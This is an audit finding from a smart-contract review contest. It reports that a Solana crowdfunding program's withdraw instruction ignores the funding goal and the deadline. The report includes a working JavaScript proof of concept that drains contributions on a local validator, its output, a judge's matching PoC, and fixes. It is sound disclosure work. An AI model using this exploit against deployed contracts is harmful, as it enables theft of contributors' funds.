Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

`withdraw` enforces neither the funding goal nor the deadline, letting a campaign creator drain every contribution at any moment

fund.goal is never read anywhere in the program, so the "withdraw only on success" guarantee does not exist

Description

  • RustFund's value proposition is escrow: contributors send SOL to a campaign on the understanding that the creator can only take it after the campaign succeeds, and that they can get it back otherwise. The README is explicit — "Secure Withdrawals: Creators can withdraw funds once their campaign succeeds" and "Withdraws raised funds after successful campaigns".

  • withdraw implements no success condition of any kind. It reads amount_raised, moves that many lamports to the creator, and returns. The goal is not compared, the deadline is not compared, and no state flag records that the campaign ever ended. A creator can therefore call withdraw in the same block as the first contribution, with the goal 1% met and weeks left on the clock.

// src/lib.rs:90-105
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
@> let amount = ctx.accounts.fund.amount_raised;
@> // @> MISSING: require(fund.amount_raised >= fund.goal) - campaign must have succeeded
@> // @> MISSING: require(fund.deadline != 0 && now >= deadline) - campaign must have ended
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

fund.goal is stored at line 16 and declared at line 186 — and that is the whole of its existence. It is never read by any instruction in the file. The success criterion the entire product is built around is written to storage and then ignored, which is what turns "escrow" into "a wallet the creator can empty".

// src/lib.rs:12-22 - goal is captured...
pub fn fund_create(..., goal: u64) -> Result<()> {
...
@> fund.goal = goal; // @> written here, and never read by contribute / refund / withdraw

The unused ErrorCode::UnauthorizedAccess variant declared at line 204 and referenced nowhere in the program is a further signal that an intended gate was never written.

Risk

Likelihood:

  • A single instruction call with no preconditions. The creator needs no timing, no race, no cooperation, and no unusual state — withdraw is callable from the moment the fund is created.

  • There is no on-chain signal that would let a contributor detect the risk in advance. Nothing in the account state distinguishes a campaign that can be drained early from one that cannot, because every campaign can.

  • The incentive points straight at it: an early withdrawal converts a conditional claim into unconditional cash at zero cost, in one instruction.

  • The "creator" is not a vetted role. fund_create (lines 12-22) is permissionless — any signer can become a creator — so the privileged actor here is an arbitrary, unbonded stranger, not a project admin.

Impact:

  • Loss of the entire contributed balance. The creator receives 100% of amount_raised with the campaign's stated condition unmet. (The amount is bounded by checked_sub at line 95 against the PDA's real balance, so the creator takes exactly what was contributed and cannot reach beyond it — the harm is that they take it at all, not that they take extra.)

  • The core protocol invariant — "funds are released only on success" — is absent from the code, so the trustlessness the README claims ("in a trustless and transparent manner") does not hold. This is not a creator abusing a documented privilege; it is the documented restriction on that privilege never having been implemented.

  • Contributors are structurally out-raced. Refund eligibility begins at the deadline (line 69) while withdrawal eligibility begins at fund creation, so the creator's window strictly contains and precedes every contributor's window. There is no ordering in which a contributor can act first.

Proof of Concept

A campaign with a 100 SOL goal and a deadline in the future raises 5 SOL. The creator withdraws all 5 SOL immediately. Setup and helpers are identical to the other reports; only the scenario differs.

// poc.mjs - run against: solana-test-validator --reset --bpf-program <id> target/deploy/rustfund.so
import {
Connection, Keypair, PublicKey, SystemProgram, Transaction,
TransactionInstruction, LAMPORTS_PER_SOL, sendAndConfirmTransaction,
} from "@solana/web3.js";
import { createHash } from "crypto";
const PROGRAM_ID = new PublicKey("6vxyM2QFNg3njwCQksy4K8azF5NwKxiUkEEG2hxqz15h");
const conn = new Connection("http://127.0.0.1:8899", "confirmed");
const SYS = SystemProgram.programId;
const disc = (n) => createHash("sha256").update(`global:${n}`).digest().subarray(0, 8);
const u64 = (n) => { const b = Buffer.alloc(8); b.writeBigUInt64LE(BigInt(n)); return b; };
const str = (s) => { const d = Buffer.from(s); const l = Buffer.alloc(4); l.writeUInt32LE(d.length); return Buffer.concat([l, d]); };
const M = (pubkey, isSigner, isWritable) => ({ pubkey, isSigner, isWritable });
const sol = (l) => (l / LAMPORTS_PER_SOL).toFixed(9);
async function air(kp) {
const sig = await conn.requestAirdrop(kp.publicKey, 50 * LAMPORTS_PER_SOL);
await conn.confirmTransaction({ signature: sig, ...(await conn.getLatestBlockhash()) }, "confirmed");
}
const send = (ixs, s) => sendAndConfirmTransaction(conn, new Transaction().add(...ixs), s, { commitment: "confirmed" });
async function readFund(pda) {
const d = (await conn.getAccountInfo(pda, "confirmed")).data;
let o = 8;
const nl = d.readUInt32LE(o); o += 4 + nl;
const dl = d.readUInt32LE(o); o += 4 + dl;
const goal = d.readBigUInt64LE(o); o += 8;
const deadline = d.readBigUInt64LE(o); o += 8 + 32;
return { goal, deadline, amountRaised: d.readBigUInt64LE(o) };
}
(async () => {
const creator = Keypair.generate(), alice = Keypair.generate(), bob = Keypair.generate();
for (const k of [creator, alice, bob]) await air(k);
const name = "rug-" + Math.floor(Date.now() / 1000);
const [fundPda] = PublicKey.findProgramAddressSync([Buffer.from(name), creator.publicKey.toBuffer()], PROGRAM_ID);
// goal deliberately far out of reach: 100 SOL
await send([new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(fundPda, false, true), M(creator.publicKey, true, true), M(SYS, false, false)],
data: Buffer.concat([disc("fund_create"), str(name), str("campaign"), u64(100 * LAMPORTS_PER_SOL)]) })], [creator]);
// deadline one hour away - the campaign is unambiguously still running
const deadline = Math.floor(Date.now() / 1000) + 3600;
await send([new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(fundPda, false, true), M(creator.publicKey, true, true)],
data: Buffer.concat([disc("set_deadline"), u64(deadline)]) })], [creator]);
for (const [who, amt] of [[alice, 2], [bob, 3]]) {
const [cPda] = PublicKey.findProgramAddressSync([fundPda.toBuffer(), who.publicKey.toBuffer()], PROGRAM_ID);
await send([new TransactionInstruction({ programId: PROGRAM_ID,
keys: [M(fundPda, false, true), M(who.publicKey, true, true), M(cPda, false, true), M(SYS, false, false)],
data: Buffer.concat([disc("contribute"), u64(amt * LAMPORTS_PER_SOL)]) })], [who]);
}
const f = await readFund(fundPda);
console.log(`raised ${sol(Number(f.amountRaised))} of ${sol(Number(f.goal))} SOL goal; deadline is ${Number(f.deadline) - Math.floor(Date.now()/1000)}s away`);
const before = await conn.getBalance(creator.publicKey, "confirmed");
await send([new TransactionInstruction({ programId: PROGRAM_ID, // <- no goal, no deadline: it just works
keys: [M(fundPda, false, true), M(creator.publicKey, true, true), M(SYS, false, false)],
data: disc("withdraw") })], [creator]);
const after = await conn.getBalance(creator.publicKey, "confirmed");
console.log(`withdraw CONFIRMED. creator ${sol(before)} -> ${sol(after)} SOL (+${sol(after - before)})`);
console.log(`fund PDA now holds ${sol((await conn.getAccountInfo(fundPda, "confirmed")).lamports)} SOL (rent only)`);
})();

Output:

raised 5.000000000 of 100.000000000 SOL goal; deadline is 3599s away
withdraw CONFIRMED. creator 49.962399040 -> 54.962394040 SOL (+4.999995000)
fund PDA now holds 0.037590960 SOL (rent only)

5% of the goal met, an hour left on the clock, and the creator walks away with everything the contributors sent.

Why this is not "trusted creator behaviour"

The creator is authenticated (has_one = creator, line 163), but authentication is not authorisation. The restriction the protocol advertises is not who may withdraw — that part works — it is when. That second condition is absent from the code, so an authorised actor performs an action the specification forbids. The unused goal field is the direct evidence that the check was intended and omitted rather than deliberately left out.

Recommended Mitigation

Gate the withdrawal on the two conditions the README states, and record that it happened so it cannot be repeated.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
+ let fund = &ctx.accounts.fund;
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+
+ if fund.deadline == 0 || now < fund.deadline {
+ return Err(ErrorCode::DeadlineNotReached.into());
+ }
+ if fund.amount_raised < fund.goal {
+ return Err(ErrorCode::GoalNotMet.into());
+ }
+
let amount = ctx.accounts.fund.amount_raised;

Add the matching error variant (UnauthorizedAccess at line 204 is currently unused and could be repurposed, but a dedicated variant is clearer):

pub enum ErrorCode {
...
+ #[msg("Funding goal not met")]
+ GoalNotMet,
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 13 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!